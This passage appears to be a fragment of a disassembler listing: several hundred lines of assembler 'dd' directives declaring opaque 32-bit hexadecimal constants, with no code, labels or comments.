		dd 628A28C6h, 74F02BB0h, 948D54FBh, 71FE3AADh, 0FD3FF288h
		dd 91432CA7h, 0B85DC2D0h, 97E007E6h, 5AFBC95h, 0B66690CBh
		dd 5E770BD4h, 0A3FC1FF9h, 0C1F53C03h, 5735C15Eh, 0E24AC490h
		dd 81131DC5h, 4D08B958h, 2AFF2B79h, 6EA932DAh, 2DD1F3D4h
		dd 8F5BD59Fh, 0BE1A079Dh, 36E14BCCh, 0BC795CA1h, 4BECBDC4h
		dd 28A733CCh, 17FC5627h, 41868047h, 183E468Ch, 0A26D0A01h
		dd 7E7BCCEDh, 1CC26333h, 8541B1D2h, 3289FB41h, 12219AFBh
		dd 3044A302h, 1D9C630Dh, 0ECFAE3Eh, 0B3C0949Dh,	1CECA254h
		dd 9C2EF951h, 0E720378Bh, 0B72D3030h, 0B70CEB3Ah, 94C2B844h
		dd 4C810CDDh, 0B941B204h, 47532DDh, 9E26D459h, 0F9B2833Eh
		dd 25DF1439h, 3125D1F9h, 1B671F76h, 2E2062C9h, 1CE45118h
		dd 745CD361h, 3A93D9ABh, 0ED24228Eh, 25C5F566h,	0E90B88C6h
		dd 0C9309EB6h, 319DCFC8h, 0AC64110h, 0D48ECB31h, 8D8433F6h
		dd 6CAAB447h, 29FE8C83h, 890BACBh, 0DD88BF09h, 0C7EB6554h
		dd 9F86C70Dh, 96AECEEDh, 0C45424BAh, 30DE7866h,	60CB2B7Bh
		dd 17926012h, 715B36DAh, 772129A1h, 87A4D335h, 0D6B8817Ah
		dd 0B6EFACB8h, 9E03CF85h, 139A3DE4h, 0B030ED1Ah, 6D342B34h
		dd 0C000771Ch, 673ACDA0h, 0A0533033h, 483A8633h, 8E81EE2Eh
		dd 5F77682Bh, 39E82F32h, 10974C05h, 0CC055322h,	0B7C53AAEh
		dd 9B377162h, 0B5D7B1AFh, 89EDB15Ah, 0B644D5C8h, 6E6C4C0Fh
		dd 0F6EA9A25h, 76340A1Ah, 774D2362h, 65858495h,	0ED0D67A8h
		dd 32BB7C1Fh, 0A48995B8h, 814BF10Ah, 1BA4F3CBh,	0AE907DCBh
		dd 9B68DADCh, 8106A876h, 487C657Dh, 0F935BD0Bh,	0F51D731Dh
		dd 0CB287679h, 5967A4Bh, 0FA537DB5h, 34001F43h,	69A1CAABh
		dd 0C45EAC41h, 4CF87D76h, 5F8853AFh, 239FF95h, 6575EF5Ah
		dd 997DAABh, 0D0B35ACEh, 1C0FE744h, 0E271C750h,	0A88163AAh
		dd 1B4036F4h, 9696FFBEh, 7EB48FAFh, 1396CD0Eh, 46A54246h
		dd 0A87B4255h, 8003796Eh, 0DA7EB9C0h, 0DA153E0Ch, 0F2649A5Dh
		dd 0CA4A0AF5h, 3AE340C1h, 0B5754C8Bh, 71D4FE0Ch, 1CF27F8h
		dd 0CDE2507Dh, 0A2A79D97h, 49CF931Eh, 8A03F1DFh, 774B6C61h
		dd 31A7BFBEh, 0AC445FA9h, 0B2D2EB3Dh, 36D5D8F8h, 0F7C2E8A8h
		dd 329B708Dh, 0DC44952Dh, 0B5772D7Dh, 0AD3CCC8Bh, 45869839h
		dd 0F84F0207h, 9E5B2011h, 39C75563h, 91F806A9h,	0D99429F7h
		dd 0E6216EF6h, 0EC58F0B4h, 0F0D632D1h, 0A31FF1A8h, 402F344Bh
		dd 9F8A4D10h, 0B7C19B4Ch, 62C237Ch, 62672C98h, 0CA3CCDD1h
		dd 4E8FAABCh, 0BFE05EE5h, 18113309h, 5C9C86ABh,	0EB318E38h
		dd 58674556h, 4F7C7C91h, 53DC5DEFh, 232E95EEh, 82549872h
		dd 8C2948FAh, 2BE6805Fh, 40A0D15Dh, 38546F56h, 0B263CF71h
		dd 0CBB385FAh, 5F0F5FB8h, 6BF9F966h, 6F41E7F3h,	0C8B0F01Eh
		dd 545753D1h, 0C8E11533h, 0F081461Eh, 0F0F6C3A2h, 9CD1E581h
		dd 25BD8AD8h, 125B8EE7h, 6913C882h, 58E65885h, 9FC218C0h
		dd 5F29DB59h, 4BC61215h, 0ACC843C4h, 3D839Bh, 0A61B59D6h
		dd 8854403Ch, 0FDF40DE1h, 3931ED41h, 39D5CC00h,	25153A1Ch
		dd 0C2570DF0h, 0DFC054F6h, 0B0B04B87h, 0DDABB9A8h, 13563A8h
		dd 768C340Dh, 1BAC143Ch, 0A732A73Eh, 3F0267EBh,	8958F021h
		dd 6A4566E4h, 0E85A381Bh, 820A0269h, 0E3E6B88Fh, 0A8E0ED20h
		dd 28DA6503h, 40D4FAB8h, 0AF01173Bh, 0AA62B38h,	8A940735h
		dd 47E5FD6Dh, 0B46D31h,	93522A43h, 8DD6C6C9h, 0AC7EA5F4h
		dd 0C16D8DDDh, 0CB98706Ch, 0F2B2959Eh, 0FD0AD2D0h, 8526890Eh
		dd 0B0D7D906h, 38CDF135h, 0DBF34034h, 0F1C5F5C9h, 32498001h
		dd 0F7C45E5Dh, 0E350B27Ah, 8390BF45h, 636B4987h, 0B7D42C09h
		dd 0F080814Ah, 0EF9844DAh, 24DD277Ah, 0BF79EF7Bh, 0D11B47C8h
		dd 0EE052CD0h, 5FBA391Dh, 7D996EF7h, 0F2BF07B8h, 96D5A2B9h
		dd 27CC2166h, 3A54FAE5h, 26D0B050h, 90FD584h, 831BDD8Ch
		dd 0BC34F387h, 3588D0CAh, 0A2C48321h, 0B2249801h, 0A757E298h
		dd 27719293h, 4CFBAFF1h, 3844CB32h, 0E6F912B4h,	0B710BE14h
		dd 5C853018h, 0D125D76Bh, 4F9DAB55h, 0E6BEF610h, 3DDE84E2h
		dd 455D4E3Fh, 9F0E1E13h, 8586E24Ah, 0E007C8Ah, 8ED5E9ACh
		dd 7141DF82h, 7C7102D3h, 0CC2D20BDh, 0E5E452E7h, 1AB0BF4h
		dd 0F354FB72h, 3AEBD74Eh, 0F5C4B7E9h, 0FC81FE98h, 0B820075Eh
		dd 7E30587Ah, 5B5C1317h, 0A7ED0F51h, 0A6F45F37h, 0FE9217CFh
		dd 4F497342h, 0DD61C4CAh, 1CB7F4ECh, 0C3034CFFh, 0EE74208h
		dd 73BE287Ch, 0E6CD7B3Ah, 0E0585D49h, 41C567ACh, 0B2B5AF09h
		dd 4C884B06h, 4F8B8EFh
		dd 6B7A7F37h, 99C361B2h, 0E207752Ch, 0A8CB0F02h, 3F07E0AEh
		dd 0B7F7458Dh, 0FDDFD187h, 99379E79h, 67184796h, 0C022C4CDh
		dd 74C46D7Eh, 5D3E3C8Ch, 0B0CD0C0h, 409C1508h, 201D1AE5h
		dd 0A0A573BEh, 0BECCBA1Eh, 0BE7A0347h, 8FB12700h, 7B14A4A5h
		dd 0DCF213AEh, 0B7CB19EBh, 15913145h, 25F567C8h, 0C647BA9Fh
		dd 0E7D8D65Ch, 0FCE5B67Eh, 256BD737h, 0AC2709A2h, 69F2B4CAh
		dd 0A4B81F4Eh, 0E74A2D11h, 8BB38798h, 2D63C3B4h, 0DEE1129Ch
		dd 0D637A18Ah, 9134DCFDh, 0B9AA4B25h, 0C352647Bh, 18640285h
		dd 9ED0E0AEh, 0E035D04Bh, 0E75AFCC3h, 0A80968D1h, 6222D43Bh
		dd 0E736ABB4h, 0ADF70FCBh, 64F4BA3Dh, 805FEA77h, 0DCBEF3BEh
		dd 0F2C76ADh, 47610C9Bh, 4DDA0245h, 0E9634235h,	644A3518h
		dd 5A972B47h, 0ED0DEE5Fh, 0FD8CFCA4h, 6AD03001h, 61D9BB21h
		dd 0E0D1739h, 0E5493FF3h, 0FC77A8DAh, 4A33658Bh, 0B6E1F168h
		dd 441EFDA3h, 0AD5132CAh, 0C3F6E35Dh, 4C247480h, 309C931Eh
		dd 0CFF60E53h, 84361C17h, 6B8D5073h, 961995D1h,	9ABA0CC8h
		dd 0F9CDF9B7h, 291AAADFh, 0AB73B529h, 0C82610E6h, 9513E74Dh
		dd 7FA1045Eh, 0DE7543C3h, 7624CFCDh, 0F0B460F9h, 19C6AAB9h
		dd 0D64B5A10h, 0F8519CB9h, 2459A539h, 0CD6A4A3Bh, 113BE45Eh
		dd 0E009F7B3h, 0D05D89D7h, 0C20BE20Bh, 27D1149Dh, 223C134Ch
		dd 73811BAEh, 20E161ABh, 49FC11EBh, 0C6734E17h,	13172528h
		dd 0B443CD9Ah, 0F181D94Ch, 891E27A5h, 3F593137h, 0B3CDDDA2h
		dd 2E4DB719h, 1E80A901h, 0CC917360h, 158173EAh,	0E401E32Dh
		dd 258EE549h, 0E54FDCE2h, 1190DDF2h, 0A7BD255Bh, 0CAAE4DC9h
		dd 0B2FFEC51h, 3127BFD6h, 5E742465h, 0D1DD0BEAh, 0BB2F7A5Eh
		dd 0ECA1B2D2h, 769289Ch, 56EBF760h, 0F0C6EFDDh,	84B790BDh
		dd 0F9D10531h, 0CE696AB3h, 0A6921957h, 155C38C0h, 0FD742229h
		dd 0DF162849h, 42896390h, 27AD2FA6h, 0E1785D33h, 0B8FD1B17h
		dd 98148361h, 0A6DFE1F4h, 1CB4D248h, 659E5176h,	0BEF03C8Eh
		dd 6093C1DCh, 0B47D3D50h, 5F1E31FBh, 19C3AB9Ch,	0DAA9AE8h
		dd 0B9BC391Fh, 76F34737h, 0D86CAB69h, 72B5C0FEh, 0FDDFE5EFh
		dd 4B93A253h, 29F38011h, 5A11105Dh, 0DDE88983h,	0EE5154A1h
		dd 0BEB96692h, 1EB0C233h, 0D8FB36A3h, 34B00BC5h, 0C8A656FDh
		dd 98F045ABh, 0C870B649h, 3FD46988h, 79F52454h,	0B9B77913h
		dd 626AEBF5h, 2DF6F0DDh, 1C1701C2h, 39A70B18h, 7475FD7Bh
		dd 5FA764C1h, 858C972Ch, 620C8E1Ah, 0F43C719Ah,	0E167DE55h
		dd 0BDD5A71Ch, 0F9A4F897h, 0C05730AEh, 36FEFE9Ch, 0F60481A7h
		dd 52FA3536h, 99495B82h, 0E1F45939h, 6876A01Bh,	0C79473ECh
		dd 9DC09505h, 860845EEh, 513BC13Dh, 52084864h, 2EF27E3Ah
		dd 0C4F3B7A1h, 0AB220AD9h, 90E0B9E7h, 0F60490DCh, 0CEB1F973h
		dd 877FD303h, 672CFD0Fh, 78E65BB5h, 49127E9Ch, 4E784391h
		dd 3B1EAB94h, 93B19D9Ch, 0E83325CBh, 0A0B023DBh, 3A29B30Ah
		dd 666194FFh, 0D5C34Dh,	8221EA18h, 0C853B06Fh, 0C6FA2C0Dh
		dd 79919C74h, 5FD63D42h, 4511D334h, 0DD770CB4h,	0A2FBC08Fh
		dd 8C31EF4Dh, 462AC160h, 0A381EF39h, 0FEB4B99Fh, 0BA502AF7h
		dd 1F758F30h, 6FEF6777h, 53B6926h, 0A2C2204Eh, 51136F9Eh
		dd 7A82FB5Ch, 1E94CB61h, 0A03991D6h, 0FE7A43C0h, 19624A9Bh
		dd 0C4EC0454h, 3F6A7A3Fh, 3CB0BB1Eh, 3AE3BB5Eh,	0BAE22DA6h
		dd 8F695AF4h, 0D5089503h, 5479F63h, 0AB8DF62Bh,	41C855C4h
		dd 2F51F743h, 238469A4h, 9B78068Bh, 3EA7ED33h, 195FD483h
		dd 61570F2Fh, 8B66F059h, 7075CD4Dh, 0F17C54CEh,	17E636B5h
		dd 0DCB47880h, 65596AA8h, 0F7DF6CFDh, 0B6C50137h, 8B6F7D51h
		dd 0C37DB0A3h, 4D88471h, 0E3FC0937h, 7F731E86h,	0E1BB33DDh
		dd 9D4BE299h, 0C545F4F5h, 259CFEA8h, 0C20CAAB5h, 0C1C7481Dh
		dd 5886585Ch, 41143EECh, 1388D600h, 12D50C8Ch, 5724BEB2h
		dd 85B281F3h, 377AAD13h, 26614756h, 0D7137AB9h,	0AE39008Ch
		dd 34BC607Ah, 6276BC1Eh, 0F0AAEE04h, 88120AEAh,	0D80E5A30h
		dd 7B2DDC50h, 0F19781B0h, 2284C15Ch, 0F623ADEDh, 0E5D69F2Fh
		dd 0FB85EE8Ch, 0F4AE3E89h, 0CB9AF8B7h, 0FE6638BCh, 0E61BC3CAh
		dd 3F1814DAh, 390C5393h, 965D250Ah, 5257B7B4h, 74FD84DEh
		dd 0E3BFB443h, 287C8D89h, 719695CDh, 44B2FF8Ah,	0D7272B35h
		dd 0B8F00C71h, 159B0224h, 0A1E27C18h, 2217F8CEh, 7A95E998h
		dd 0AC70566Bh, 887DEC53h, 2804201Bh, 1BBDDBE2h,	9E605227h
		dd 4064204Ch, 0F025FA18h, 5379402Eh, 621FA4E6h,	1B79203Eh
		dd 0F682E7EAh, 0DD8450E5h, 3600E755h, 2335D32Ah, 6A4FB1ABh
		dd 332B4C6Eh, 0EF616CF2h, 0BE24C5C6h, 71AAE8A9h, 5DA237CAh
		dd 94E27194h, 20CFD363h, 0D6B1BF5Ch, 0A7D111DCh, 0B12F7EE0h
		dd 0A108C410h, 0F04F087Eh, 0C67DADB2h, 0DA98195Dh, 0A5B8CE51h
		dd 2580906h, 76345906h,	3C3A4AEBh, 6C75B748h, 0A9C0F8C1h
		dd 0DB942E6Fh, 0E02A54AEh, 0C3CE5451h, 9D77F7D4h, 9A75EC9Eh
		dd 0DC4FBCA1h, 28D337A6h, 7EC2D621h, 994F86Eh, 0EE98BB9Eh
		dd 5D75E6A7h, 0DC69EC7Bh, 13CEA2FEh, 3157AF01h,	0E4CB4C17h
		dd 48729E0Fh, 0DF458701h, 64D2FC9Ah, 12AD857Ch,	0D6237255h
		dd 3BA8FB93h, 5CB6B015h, 0A8AF7E2Ah, 7C74D578h,	6403BBA5h
		dd 481254Eh, 0FBB7F421h, 50BC3739h, 4E3A1E3Bh, 84ED911Ch
		dd 6C90E36Dh, 0D0C1B88Ch, 0F11CA83Fh, 98574DCFh, 0C7226FAh
		dd 41EEF634h, 0DD2AEEh,	573FB1CCh, 0CD645F31h, 535827DBh
		dd 49B53B18h, 0C481146Bh, 0C37746CCh, 1F40AE29h, 0E738EA42h
		dd 64A470F3h, 0AA109746h, 55F7F39Fh, 0CD3B1F86h, 239E1007h
		dd 0D0FAA38Bh, 6A4E8CB3h, 4988AD6Bh, 5CB4692Dh,	6CE2F3B9h
		dd 93E550D0h, 1525709Bh, 19167D14h, 45B0D579h, 16787920h
		dd 7DED706Dh, 615A595Dh, 2BDA951h, 273B1B31h, 5DFB255Eh
		dd 6E253E8Dh, 3138C5A6h, 5C53053h, 0A56C38C2h, 0C8FDDCE2h
		dd 5094A473h, 0AC79AD42h, 84A12DB2h, 0A053BC4Dh, 0F2BC32A1h
		dd 16E999FFh, 476141AFh, 0F8EC0F00h, 5A08253Ah,	0C74FF728h
		dd 0D8A35BBBh, 9DB2C78Bh, 0FE900072h, 104DB24Bh, 3134D772h
		dd 0DF9BF7E9h, 9E2084ECh, 67ACCDBDh, 2F203E7Dh,	0F4000082h
		dd 0CD1704B3h, 2837EC4Fh, 2B11A476h, 5CA145DCh,	0B5826D54h
		dd 9EBBA233h, 34B70B8Bh, 12ED009Bh, 0B5AF3453h,	0C1365ADBh
		dd 72A077CFh, 4B7ADCD1h, 5A8FF242h, 583EB1A3h, 0B75787FDh
		dd 0B50E6562h, 0BE775CAEh, 0A7A5D981h, 4D937FC6h, 96823970h
		dd 5B86695Ch, 0A9497627h, 0C8B1D83h, 4164CB80h,	4F07094Fh
		dd 83AB33E8h, 0E8FC1AA2h, 0E994A464h, 9BC63989h, 0FD54B89Dh
		dd 3C0B5B1Eh, 0C84DEC67h, 8D66D43Dh, 3FF89EECh,	5622F38Ch
		dd 84D0C4E1h, 156815DCh, 822A36FAh, 6DDCE13Bh, 5122AAEFh
		dd 67206676h, 2D5BE144h, 28946AC0h, 0E16E0275h,	0C2635CD9h
		dd 8A798D5Dh, 36A13A76h, 0ACD7FD60h, 0D480E3E2h, 64C7D916h
		dd 89E4A3EFh, 0BDF6A60Eh, 62580DE8h, 0C82AB68Bh, 41336D2Fh
		dd 0C0D7C6BEh, 0CB98E0A7h, 1AD0B3C4h, 18E11C8Ah, 0BE25C516h
		dd 9F32584Ch, 95B4E79h,	0B559BC2Fh, 0D0709C97h,	32E5ECFCh
		dd 0FB6FDD47h, 2F39BEF9h, 0AD4ACCABh, 0E54A70B9h, 743BE5D3h
		dd 39F6D90Ch, 3CA71976h, 188DC2Dh, 0FBF5EB09h, 9B66AFC0h
		dd 83F4E183h, 0FE7715EBh, 82909B62h, 0D9E4CF6h,	2D2FC877h
		dd 6AC2F5A4h, 3E49EA86h
		dd 0BCE32AD5h, 0BA91CC9Bh, 0A77642A5h, 1167DDC6h, 7EF7886Dh
		dd 9B9836C7h, 67F68C0Ch, 20350B35h, 0F40E825Ah,	92F60E2Bh
		dd 0F65D805h, 0D7B23394h, 7BCC6B46h, 7E2EC9BBh,	377F7BD1h
		dd 2C6A2A1Eh, 9E2F359Fh, 0AC06E44Eh, 4516C0E3h,	5BC5734Bh
		dd 0C89E2AB6h, 0E7145641h, 0AF292266h, 2017EA1Dh, 9C307E51h
		dd 0EC2ECA63h, 875CCB18h, 0B48F0F16h, 72C80EC5h, 0A869501Eh
		dd 3D12387Bh, 0F994FB09h, 0EA336A9Eh, 0FB3C4E39h, 0A4A9F299h
		dd 0E64726C4h, 471B5136h, 0A65E05E5h, 72A73FACh, 3E86E4h
		dd 9F40218Ch, 0D7A51270h, 2DE52EE6h, 77803864h,	839E0494h
		dd 80AD105Eh, 31EC0EF5h, 0AF0FA2Eh, 0BC5B9E3Fh,	730D00Ch
		dd 5F196C1Dh, 9FF860B3h, 0A6676F06h, 68D7C3EEh,	0A415844Bh
		dd 9F62EC27h, 0A311EFF6h, 14B82A11h, 2927C0B7h,	0C1E5CE94h
		dd 46F03542h, 0C44666B4h, 957E7FD4h, 4F39AB89h,	8F521AEDh
		dd 4831B283h, 0B8067376h, 0A2C0E1E1h, 20743801h, 0D1671DC7h
		dd 776C6A13h, 0F550F6A3h, 0F5F05B23h, 0D708CB7h, 3E563CD8h
		dd 0F61F0A7h, 0ACF00130h, 86192601h, 1FA51F96h,	517EF647h
		dd 44E55881h, 0E12E78F8h, 182B3227h, 4F825B9Eh,	374B93D7h
		dd 0DCD43B9Ch, 0A0DE137Ah, 0B4D0789h, 7B7BD95Eh, 16EC63CCh
		dd 73233F13h, 1B764F64h, 0F3757DC8h, 0CF957377h, 0B4D57F3h
		dd 8B0AD006h, 94967EA2h, 66E2C155h, 0C196AFB8h,	0F9699699h
		dd 7B09E80Fh, 1A1FB09h,	0ED84FDECh, 22786AB7h, 0A43FE39Bh
		dd 0CA350CC5h, 57AAC6B7h, 0DCC0A925h, 6FA4C872h, 0B0D2AAEBh
		dd 7EBBACD7h, 0EA00BEB7h, 12B44727h, 28DFA290h,	6280A20h
		dd 66AB5346h, 22AE909Fh, 3AEA46F3h, 54D330E8h, 0DFD19304h
		dd 6FDEAA23h, 8292EFE7h, 0AA696A31h, 678D6881h,	73C95A6Ah
		dd 95E9C90h, 828A11EAh,	0F3BB4DD9h, 6F0C70AEh, 0A8C723FEh
		dd 0E2F68668h, 7375E967h, 0C4FA52CAh, 70367669h, 66436D5Ch
		dd 295C0F0Eh, 0DCA1AC0Bh, 81E18831h, 5BB18CF0h,	2294BF2Eh
		dd 88626B25h, 0CD98384Bh, 54482A19h, 0BB1E3DE0h, 80740C32h
		dd 304C1066h, 3D9346A5h, 0D7EF31D0h, 9198CDE4h,	0AB4FF1D7h
		dd 0EFA6D670h, 553C1468h, 0A6FDE132h, 70CDF8D3h, 0EE7F36Eh
		dd 1897103Ah, 9F6B9F16h, 0AE4C2983h, 0F3C8AE5Ch, 91536445h
		dd 9A61D92Ch, 0F64955E1h, 5AE3DF05h, 516271E7h,	0B1C8783Fh
		dd 3EDAF88Fh, 5F6C48E8h, 37228836h, 730CBDC9h, 6671D385h
		dd 21A71684h, 0F5664957h, 0A09A95E1h, 0E273810Ah, 24FD1926h
		dd 0AF1DB062h, 0FB11CE34h, 85A3D08Ch, 9F07C9A9h, 6E94BED8h
		dd 0E4329AF2h, 5113379Eh, 8A6D4C66h, 79C843D9h,	78B0790h
		dd 26ED7228h, 2A01CB24h, 38DA0F9h, 0C399D99Dh, 74B6F8F5h
		dd 8924239Bh, 0D7E34A21h, 3906793Fh, 0A47432B5h, 0DF3B5729h
		dd 19F659B1h, 0AE1AA62h, 0F8CE5047h, 824F1339h,	1547EE19h
		dd 0DD9E0EA8h, 7AA9E35Ch, 9856C11h, 67ED1538h, 5BE9999Dh
		dd 96BBFB0h, 5943F366h,	25A0CCABh, 9A8CBF4Ch, 3CD18855h
		dd 0E9FC6EABh, 0CCFD3D75h, 0EBB14124h, 52948E57h, 0FE8C2639h
		dd 0AB1C0458h, 7A99BA1Eh, 56CCC7F8h, 0CA2153FCh, 0A2E1FCD2h
		dd 7E8910E4h, 4E0DAD70h, 5CB53957h, 0E4FD415Eh,	0A9742CCAh
		dd 0B498B2CEh, 6BABD150h, 0F4A22F4Ch, 13DA179Ch, 18161C83h
		dd 35B20F8h, 0EB2E1EEEh, 582E7F8Ch, 4244A7E4h, 2927633Dh
		dd 0FA26B051h, 0FA0DE2D3h, 17ABD85Ch, 6C368E27h, 1320D5D2h
		dd 0EC4323C1h, 0A88E132Bh, 782CAEAFh, 0D9B23765h, 2818C9E1h
		dd 14617334h, 0CD263EC4h, 487B0738h, 0C4A8D884h, 0F815B6Fh
		dd 9E4E4D46h, 53560EFEh, 0A758D70Bh, 0CD348DB0h, 6290B116h
		dd 28A55BB3h, 771719A2h, 0C3BE439Ch, 0F180A39Fh, 0E60D4CE8h
		dd 0AD9359E9h, 0A96D19F9h, 0B40260EFh, 20BAEA71h, 7D7179E9h
		dd 0F93FC6DCh, 9DCCB790h, 9DD334FDh, 0CFD16EBAh, 9DA5A2DEh
		dd 0B45EFB69h, 9387F485h, 3DA7DD4Ah, 0E081C5B9h, 39013BD1h
		dd 93E874BDh, 0D143D02Fh, 82716F61h, 8AEA5420h,	234D5E1Dh
		dd 1C97861Bh, 0EC59A17Bh, 6C8CC5D4h, 0C938F123h, 0F1BED5Fh
		dd 0B7AB5D7h, 0D1F257Eh, 3D1DF1Dh, 6490DB21h, 28C98E2Bh
		dd 29FD7665h, 5DBD6620h, 10F11F5h, 5AC25B5Fh, 677E9E43h
		dd 28D1F971h, 9FF6A284h, 6B237D46h, 18E6715Ah, 876999F5h
		dd 55D74C03h, 0B8A9C37Eh, 0C7D9D489h, 5F280E06h, 0E40C7D90h
		dd 9A73F531h, 0D023B189h, 0A70B55F4h, 0EFFE2F1Eh, 9701BB7h
		dd 0C9C9B5C8h, 1F3573C4h, 0E5B262A0h, 0DB15B828h, 0B62E5F44h
		dd 448F0C06h, 16F487B1h, 0D70710Dh, 994658CDh, 0F62ED177h
		dd 0EE4456A0h, 6307571h, 8BC51034h, 29CB3B20h, 936CA87Ah
		dd 290860AAh, 7C22263Fh, 6E2F61F3h, 2188A33Ah, 7C6ADDCh
		dd 0D841BF05h, 0A26B425Ch, 3F3CA0E2h, 2FFFFB3Eh, 0F787775h
		dd 0C3F4CDAAh, 499B2F4Fh, 90BDF8FFh, 93DF859Eh,	7CFCEF07h
		dd 84F4CA9Ah, 0A1FA4939h, 0CB18B6F8h, 0BC93BB49h, 5CF9206h
		dd 33CBE8D7h, 1EB29AC6h, 95AABB7Ch, 0B7164AE8h,	8501C0E0h
		dd 0EB8CD6E2h, 0A76C1027h, 0F862FDC2h, 0C0814E1Ah, 71AD858Ah
		dd 0D0B7F6A4h, 49667EEBh, 8E6823D9h, 2D26847Ah,	0D0BA7134h
		dd 3A3FBE03h, 0EAEEB302h, 0B36FCE13h, 0AA2F6A89h, 339F972Bh
		dd 5E24690Ch, 6CE1B806h, 86744A9Bh, 0F9BB4815h,	0B04B911Dh
		dd 0BC1A1E2Eh, 4D9E2B2Ch, 3DFEEA12h, 5DF81D15h,	1DA8C56h
		dd 82A27A36h, 0FEE98652h, 0E559023h, 76E09EF8h,	9F3EE539h
		dd 0BE39F6Ch, 76F2E3E6h, 5FE4CEBFh, 77006B81h, 0A961587Ch
		dd 0AB45B2E3h, 9AD4D419h, 1C457C32h, 0E04EE998h, 0C9F4B1F4h
		dd 47582ACh, 739D721Ch,	0CA1E0B7h, 0C14271C6h, 0DC513DD0h
		dd 85BBF7D5h, 9110B24Ah, 0AFC1BEF0h, 51D4C3FEh,	27AAA593h
		dd 1229FCB7h, 848C2B2h,	0F57A37FDh, 0C6EDD8C4h,	0E1765B52h
		dd 0C6EAB544h, 0A0A01616h, 74AC9817h, 2E2D4CA3h, 0F33C42E4h
		dd 21F234F8h, 0E19A1F50h, 0D156FF2Ch, 0B7CA64B3h, 6D5121BBh
		dd 238DAA25h, 29E026A1h, 75045ACAh, 0BFCE06E4h,	9D0EEB5Dh
		dd 4E422238h, 5187FB63h, 9FAEC0E4h, 3498B3E0h, 2414753Bh
		dd 0C7D5656Ah, 0CE0EF70h, 518D6AF4h, 21ED4E29h,	0AF314B34h
		dd 49AD55E2h, 188C129Ch, 93E79E11h, 0A57CFD13h,	63E83715h
		dd 0BA16109h, 0B5287278h, 0B3DFB1h, 0D9F4E4Fh, 0F435BAE5h
		dd 2581A240h, 878C2A60h, 6BF7A98h, 0CD2E9862h, 34145B36h
		dd 415D3CC7h, 1D14C1BCh, 3157BAE5h, 3FC2570Ch, 6AFD4864h
		dd 947E390Ch, 23F745D3h, 5270E898h, 0A3DD69BEh,	0D9AEEB8Bh
		dd 74863DA2h, 21485AF5h, 8CE97871h, 0D9FDC7EDh,	13EE6D4Eh
		dd 0C9B553C3h, 0F4B685EBh, 191DD530h, 12AAF25Ah, 5DCE7020h
		dd 27F14AAEh, 83D7120h,	41017552h, 0BA8DC4C7h, 7EA43F31h
		dd 9AEA6151h, 2422D3B8h, 42BAD930h, 589E6D62h, 11DFA450h
		dd 1F743498h, 0C3B5DD66h, 70766EF4h, 0C1E3E2FFh, 82CF8E45h
		dd 78C8D9FAh, 505E87E0h, 1A4216AAh, 214772C1h, 6B5F6D6Ah
		dd 0A448DD15h, 536DB3h,	0C130EE8Dh, 0D72215B8h,	493C03BBh
		dd 3AC0E00Ch, 0A58DA45h, 0F9228332h, 0A2519E51h, 956052F9h
		dd 95B4C22Ch, 0AF569A09h, 3FCA8696h, 0EAC918BAh, 89397505h
		dd 3A0B04ECh, 0E2EA1D42h, 1F7DAA8Bh, 0D1AE303Dh, 0D4874558h
		dd 0FB61E719h, 0D94682BAh, 4D811621h, 0DC5CBBE7h, 17FD8B0Eh
		dd 463EA59Fh, 4E7F7216h
		dd 2826C7CFh, 3382A58Dh, 0BCC0272Fh, 29FEED6h, 0CE04BDC2h
		dd 3E9FA858h, 50616232h, 0FF0D2D8Ch, 1DCE4EE9h,	0D305F882h
		dd 1E745ED7h, 0F84875Fh, 0D14F5CE5h, 0D61C7BF5h, 5A2CBAFAh
		dd 6E043FECh, 0A832AA9Dh, 0E1A7942Ah, 0FBF9B2DCh, 0D32101A9h
		dd 734CBFh, 716931CFh, 0B101DCF3h, 2761959Ah, 1CC570E0h
		dd 109C3F5Fh, 453A322Dh, 86CBE0B3h, 0B1F10E1Eh,	0E3F0E8C1h
		dd 7E8BA8F8h, 0CD725A93h, 0BAC37224h, 0A9CF9C3Fh, 0D0BB423Eh
		dd 13C243D1h, 52F3153Dh, 0E2155F1Ah, 749AC1Dh, 9CDAF4AEh
		dd 976EB2DDh, 387D8CABh, 0CF647348h, 78160270h,	0EB243B73h
		dd 0B01FD2F7h, 0AA4E6918h, 0B3429D7Bh, 74BFBEC4h, 271EB2CEh
		dd 0FCB85BE3h, 0F37B739Dh, 25BE5286h, 0D1677327h, 15832A0Bh
		dd 65EEE7F0h, 380D9AD7h, 3CDA8ECDh, 0AF64C3B9h,	9C5B4F02h
		dd 0BBEDCEDAh, 0EFE149F9h, 0BD399B53h, 0B5039331h, 10D9A29Ah
		dd 0B913752Ch, 51527CE6h, 66436E05h, 0AC0839BEh, 0C90C91A3h
		dd 42C949F8h, 3F297BEFh, 5379D52Eh, 4442A884h, 0F9F79ECFh
		dd 2EFE208Ch, 86C64DACh, 0C6BFA8B3h, 0B33D479Eh, 7DA6103Bh
		dd 0C4A1E4BEh, 7E85D6C7h, 15EFFCABh, 6BE3CCEh, 0CCDA8249h
		dd 0DD1B5B17h, 91B09132h, 43C6D1F3h, 11D43C10h,	46079588h
		dd 0A1F8F467h, 32C48081h, 115C8A76h, 0C7E8C3DDh, 0B35F2DFDh
		dd 7AE4C415h, 44CE7213h, 0BB4A8554h, 53AC73CCh,	0BCF2D668h
		dd 7BFCE0B8h, 0CF7BF4ACh, 0FE4BF107h, 9CCC63C9h, 6F5D748Ch
		dd 0C287978Bh, 0D3F62D5h, 8D033FCEh, 5285EB75h,	0CC5329A5h
		dd 0FAC2E7C4h, 0A795220Eh, 2C31ED38h, 710CC4C0h, 16A4EF02h
		dd 81F56563h, 3FEBA504h, 6A9E756Fh, 0FC78D4DCh,	68BFA486h
		dd 26BE90C4h, 0DBBDEF3Bh, 0A465A626h, 3B9FA603h, 7B0A4600h
		dd 0D58B626Eh, 0F6293F5Ah, 415D60BAh, 0A188E45Fh, 0B3D8EA63h
		dd 94C9FE75h, 45515CDCh, 2AF34AECh, 968682DCh, 360606E7h
		dd 0ABAE6C8Dh, 96B3682Ch, 29914A7Ch, 0E69F7FD6h, 0B1542B1Fh
		dd 0E4D216EBh, 1520C5F2h, 0F86AD68Bh, 1C935B23h, 0DB3A1D77h
		dd 9B2196B3h, 0C06B6CAh, 36D6750Bh, 974D9935h, 0D0E4EA63h
		dd 0C7076776h, 38EA9CB3h, 24464DE6h, 31807A77h,	4BE1FD64h
		dd 4B0E29C8h, 0F968BDC6h, 709BFFD3h, 0F7A9BBA6h, 2FA46954h
		dd 0C54DDAEEh, 2F091E23h, 4FF92A93h, 8100AEA6h,	4AF6A6BFh
